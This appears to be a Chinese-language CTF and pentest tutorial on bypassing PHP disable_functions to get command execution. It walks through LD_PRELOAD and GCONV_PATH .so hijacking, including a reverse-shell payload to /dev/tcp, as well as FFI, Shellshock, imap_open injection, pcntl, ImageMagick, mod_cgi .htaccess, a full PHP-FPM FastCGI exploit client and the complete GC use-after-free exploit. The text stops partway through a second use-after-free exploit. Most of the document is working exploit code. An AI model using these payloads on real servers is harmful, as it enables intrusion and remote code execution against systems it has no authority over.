disable_function绕过 靶场https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions
里面记录了部分的绕过 可以自己使用docker起环境复现
执行命令返回ret=127
这个是shell返回的一个标准执行码 127
代表命令没有被找到
绕过方法 LD_PRELOAD 环境变量 1 2 3 4 5 6 LD_PRELOAD 是一个特殊的环境变量,用来告诉动态链接器在加载程序时,优先加载你指定的共享库(.so 文件) Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载。即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被加载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。 一般情况下,ld-linux.so加载动态链接库的顺序为: LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib > /usr/lib
初级 有sendmail 通过putenv()
函数将LD_PRELOAD设置为指定恶意动态链接库(.so)文件路径,利用其加载优先级高劫持任意函数执行的内容,从而达到不调用 PHP 的各种命令执行函数仍可执行系统命令的目的。这时候需要一个不在disable_functions内的PHP函数,又能在调用时运行系统可执行程序。
攻击思路:
1 2 3 创建一个.so文件,linux的动态链接库文件 使用putenv函数将LD_PRELOAD路径设置为我们自己创建的动态链接库文件 利用某个函数去触发该动态链接库
这里使用mail()函数进行测试:
使用readelf -Ws /usr/sbin/sendmail
可以查看 sendmail 命令可能调用的库函数
strace -f
可查看具体执行过程中调用的函数,这里拿 geteuid() 函数为例 我们这里使用getuid函数,目标是劫持该函数:
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { system("whoami > /var/tmp/flag.txt" ); } int geteuid () { if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); payload(); }
编译成so文件
1 2 gcc -c -fPIC test.c -o test gcc -shared test -o test.so
再次新建一个shell.php文件写成
1 2 3 4 <?php putenv ("LD_PRELOAD=/var/www/test.so" );mail ("" ,"" ,"" ,"" ,"" );?>
把这个文件上传到有权限上传的目录当中
例题:[极客大挑战]RCE ME 这题前置不说了最主要是落脚到disablefunction的绕过
因为这道题网站根目录没上传文件的权限 我们改到/var/tmp目录上传 但是我们必须要访问这个shell.php 这样我们的so文件才能够生效 于是异或取反写${_GET}[_](${_GET}[_]);
进行文件包含就好了 然后进antsword刷新 就可以看到我们的flag.txt
1 ?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include('/var/tmp/shell.php')
shell.php和test.c的文件内容
1 2 3 4 <?php putenv ("LD_PRELOAD=/var/tmp/test.so" );mail ("" ,"" ,"" ,"" ,"" );?>
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { system("/readflag > /var/tmp/flag.txt" ); } int geteuid () { if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); payload(); }
进阶 无sendmail 使用三个重要文件 项目地址 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD.git
bypass_disablefunc.php,bypass_disablefunc_x64.so或bypass_disablefunc_x86.so,bypass_disablefunc.c 将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so传到目标有权限的目录中
那么这几个文件的原理 你看c源码就可以知道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char ** environ;__attribute__ ((__constructor__)) void preload (void ) { const char * cmdline = getenv("EVIL_CMDLINE" ); int i; for (i = 0 ; environ[i]; ++i) { if (strstr (environ[i], "LD_PRELOAD" )) { environ[i][0 ] = '\0' ; } } system(cmdline); }
最重要的是__attribute__((constructor))
,他是GCC的一个C语言扩展修饰符。可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor))
修饰的函数
还是使用rce me这道例题
然后使用poc 因为我这道是因为网站根目录权限 只能上传到其他有权限的目录然后使用文件包含
1 ?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include('/var/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
这样就可以成功拿到flag
GCONV_PATH 环境变量 利用条件
Linux 操作系统
putenv
iconv
存在可写的目录, 需要上传 .so
文件
攻击思路:
可以使用antsword的插件
https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/
攻击原理:
1 2 3 4 5 linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的 gconv-modules 文件。gconv-modules 文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即 gconv-modules 文件提供了各个字符集的 .so 文件所在位置。 php 的 iconv 函数的第一个参数是字符集的名字,这个参数会传递到 glibc 的 iconv_open 函数的参数中。iconv_open 函数依照GCONV_PATH找到 gconv-modules 文件。接着根据 gconv-modules 文件的指示找到参数对应的 .so 文件。然后调用 .so 文件中的 gconv() 和 gconv_init() 函数。 这里就可以劫持函数执行任意命令了
1 2 3 4 5 6 7 8 9 #include <stdio.h> #include <stdlib.h> void gconv () {} void gconv_init () { system("bash -c 'bash -i >& /dev/tcp/ip/23333 0>&1" ); }
编译成so文件
然后php文件是
1 2 3 4 <?php putenv ("GCONV_PATH=/tmp" ); iconv ("payload" , "UTF-8" , "whatever" ); ?>
or
1 2 3 4 <?php putenv ("GCONV_PATH=/tmp/" ); include ('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so' ); ?>
PHP7.4 FFI 使用条件:
1.PHP >= 7.4
2.开启了 FFI 扩展且ffi.enable=true
概念:
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。
漏洞成因:
1 当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。
攻击代码
1 2 3 4 5 6 7 <?php $cmd =$_GET ['cmd' ];$ffi = FFI::cdef ("int system(const char *command);" );$ffi ->system ("$cmd > /tmp/sauy" );echo file_get_contents ("/tmp/sauy" );@unlink ("/tmp/SD" ); ?>
这样就可以绕过 来执行命令
Bash Shellshock 老爷洞 了解下 (CVE-2014-6271)破壳漏洞
使用条件:
1.php < 5.6.2
2.bash <= 4.3(破壳)
漏洞成因:
1 Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php function shellshock ($cmd ) { $tmp = tempnam ("." ,"data" ); putenv ("PHP_LOL=() { x; }; $cmd >$tmp 2>&1" ); error_log ('a' ,1 ); $output = @file_get_contents ($tmp ); @unlink ($tmp ); if ($output != "" ) return $output ; else return "No output, or not vuln." ; } echo shellshock ($_REQUEST ["cmd" ]); ?>
保存为php上传到目录 访问执行命令即可
imap_open 使用条件:
1.有imap扩展
2.php.ini中开启imap.enable_insecure_rsh选项为On
漏洞成因:
1 PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。
攻击:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 ); if (!function_exists ('imap_open' )) { die ("no imap_open function!" ); } $server = "x -oProxyCommand=echot" . base64_encode ($_GET ['cmd' ] .">/tmp/cmd_result" ) . "|base64t-d|sh}" ; ">/tmp/cmd_result" ) . '|base64$IFS$()-d|sh}' ; imap_open ('{' . $server . ':143/imap}INBOX' , '' , '' ); var_dump ("nnError: " .imap_last_error ()); sleep (5 ); echo file_get_contents ("/tmp/cmd_result" ); ?>
Pcntl组件 使用条件:
1.目标机器安装并启用了php组件Pcntl
漏洞成因:
1 使用pcntl_exec()这个pcntl插件专有的命令执行函数来执行系统命令,也算是过黑名单的一钟,比较简单。
攻击思路:
1 2 3 4 5 <?php pcntl_exec ("/bin/bash" , array ("/tmp/b4dboy.sh" ));?> ls -l /
ImageMagick 漏洞绕过(CVE-2016–3714) 使用条件:
1.目标主机安装了漏洞版本的imagemagick(<= 3.3.0)
2.安装了php-imagick拓展并在php.ini中启用;
3.编写php通过new Imagick对象的方式来处理图片等格式文件;
4.PHP >= 5.4
ImageMagick介绍 ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。
在 ImageMagick 的默认配置文件 /etc/ImageMagick/delegates.xml 里可以看到所有的委托。这个文件定义了很多占位符,比如 %i 是输入的文件名,%l 是图片exif label信息。而在后面 command 的位置,%i 和 %l 等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号或闭合双引号,来执行任意命令。如果在phpinfo中看到有这个ImageMagick 就可以尝试一下这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php echo "Disable Functions: " . ini_get ('disable_functions' ) . "\n" ;$command = PHP_SAPI == 'cli' ? $argv [1 ] : $_GET ['cmd' ];if ($command == '' ) { $command = 'id' ; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|$command ")' pop graphic-context EOF ;file_put_contents ("KKKK.mvg" , $exploit );$thumb = new Imagick ();$thumb ->readImage ('KKKK.mvg' );$thumb ->writeImage ('KKKK.png' );$thumb ->clear ();$thumb ->destroy ();unlink ("KKKK.mvg" );unlink ("KKKK.png" );?>
Apache Mod CGI 使用条件:
1.Apache + PHP (apache 使用 apache_mod_php)
2.pache 开启了 cgi, rewrite
3.Web 目录给了 AllowOverride 权限
漏洞成因:
1 2 任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。 当Apache 开启了cgi, rewrite时,我们可以利用.htaccess文件,临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置。
攻击:
在web目录下上传.htaccess
1 2 Options +ExecCGI AddHandler cgi-script .ant
上传shell.ant
1 2 3 4 #!/bin/sh echo Content-type: text/html echo "" echo&&id
然后给shell.ant加上权限 直接访问即可得到命令执行结果
PHP-FPM/FastCGI 使用条件:
phpinfo查看目标主机是否配置了 FPM/Fastcgi
概念:
Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。
PHP-FPM(PHP FastCGI Process Manager)意:PHP FastCGI 进程管理器,用于管理PHP 进程池的软件,用于接受web服务器的请求。
FPM就是Fastcgi的协议解析器,Web服务器使用CGI协议封装好用户的请求发送给FPM。FPM按照CGI的协议将TCP流解析成真正的数据。类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;
头由8个uchar类型的变量组成,每个变量1字节。其中,requestId
占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength
占两个字节,表示body的大小。
了解了协议原理和内容,接下来就是使用CGI协议封装请求,通过Socket来直接与FPM通信。p神通过PHP-FPM的环境变量PHP_VALUE
和PHP_ADMIN_VALUE
设置php.ini配置项,通过配置项auto_prepend_file
和auto_append_file
结合php://input
包含任意php代码并执行,并且修改了远程文件包含选项allow_url_include
为on
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 import socketimport randomimport argparseimport sysfrom io import BytesIOPY2 = True if sys.version_info.major == 2 else False def bchr (i ): if PY2: return force_bytes(chr (i)) else : return bytes ([i]) def bord (c ): if isinstance (c, int ): return c else : return ord (c) def force_bytes (s ): if isinstance (s, bytes ): return s else : return s.encode('utf-8' , 'strict' ) def force_text (s ): if issubclass (type (s), str ): return s if isinstance (s, bytes ): s = str (s, 'utf-8' , 'strict' ) else : s = str (s) return s class FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive ): self .host = host self .port = port self .timeout = timeout if keepalive: self .keepalive = 1 else : self .keepalive = 0 self .sock = None self .requests = dict () def __connect (self ): self .sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self .sock.settimeout(self .timeout) self .sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self .sock.connect((self .host, int (self .port))) except socket.error as msg: self .sock.close() self .sock = None print (repr (msg)) return False return True def __encodeFastCGIRecord (self, fcgi_type, content, requestid ): length = len (content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value ): nLen = len (name) vLen = len (value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream ): header = dict () header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer ): header = buffer.read(int (self .__FCGI_HEADER_SIZE)) if not header: return False else : record = self .__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int (record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int (record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ): if not self .__connect(): print ('connect failure! please check your fasctcgi-server !!' ) return requestId = random.randint(1 , (1 << 16 ) - 1 ) self .requests[requestId] = dict () request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self .keepalive) \ + bchr(0 ) * 5 request += self .__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self .__encodeNameValueParams(name, value) if paramsRecord: request += self .__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self .__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self .__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self .__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) self .sock.send(request) self .requests[requestId]['state' ] = FastCGIClient.FCGI_STATE_SEND self .requests[requestId]['response' ] = b'' return self .__waitForResponse(requestId) def __waitForResponse (self, requestId ): data = b'' while True : buf = self .sock.recv(512 ) if not len (buf): break data += buf data = BytesIO(data) while True : response = self .__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self .requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int (response['requestId' ]): self .requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self .requests[requestId] return self .requests[requestId]['response' ] def __repr__ (self ): return "fastcgi connect host:{} port:{}" .format (self .host, self .port) if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help ='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help ='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help ='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help ='FastCGI port' , default=9000 , type =int ) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict () documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len (content), 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } response = client.request(params, content) print (force_text(response))
脚本使用方法:python 111.py ip /var/www/html/index.php -p port -c "<?php system('ls /'); ?>"
也可以使用antsword插件
GC UAF 利用条件
1.Linux 操作系统
2.PHP7.0 - all versions to date
3.PHP7.1 - all versions to date
4.PHP7.2 - all versions to date
5.PHP7.3 - all versions to date
攻击exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 <?php pwn ("uname -a" );function pwn ($cmd ) { global $abc , $helper ; function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } class ryat { var $ryat ; var $chtg ; function __destruct ( ) { $this ->chtg = $this ->ryat; $this ->ryat = 1 ; } } class Helper { public $a , $b , $c , $d ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_repeat ('A' , 79 ); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}' ; $out = unserialize ($poc ); gc_collect_cycles (); $v = []; $v [0 ] = ptr2str (0 , 79 ); unset ($v ); $abc = $out [2 ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); }
也可以使用antsword的插件
Json Serializer UAF 利用条件:
利用条件
Linux 操作系统
PHP7.1 - all versions to date
PHP7.2 < 7.2.19 (released: 30 May 2019)
PHP7.3 < 7.3.6 (released: 30 May 2019)
攻击exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 <?php $cmd = "id" ;$n_alloc = 10 ; class MySplFixedArray extends SplFixedArray { public static $leak ; } class Z implements JsonSerializable { public function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } public function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } public function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } public function leak1 ($addr ) { global $spl1 ; $this ->write ($this ->abc, 8 , $addr - 0x10 ); return strlen (get_class ($spl1 )); } public function leak2 ($addr , $p = 0 , $s = 8 ) { global $spl1 , $fake_tbl_off ; $this ->write ($this ->abc, $fake_tbl_off + 0x10 , 0xdeadbeef ); $this ->write ($this ->abc, $fake_tbl_off + 0x18 , $addr + $p - 0x10 ); $this ->write ($this ->abc, $fake_tbl_off + 0x20 , 6 ); $leak = strlen ($spl1 ::$leak ); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } public function parse_elf ($base ) { $e_type = $this ->leak2 ($base , 0x10 , 2 ); $e_phoff = $this ->leak2 ($base , 0x20 ); $e_phentsize = $this ->leak2 ($base , 0x36 , 2 ); $e_phnum = $this ->leak2 ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = $this ->leak2 ($header , 0 , 4 ); $p_flags = $this ->leak2 ($header , 4 , 4 ); $p_vaddr = $this ->leak2 ($header , 0x10 ); $p_memsz = $this ->leak2 ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz 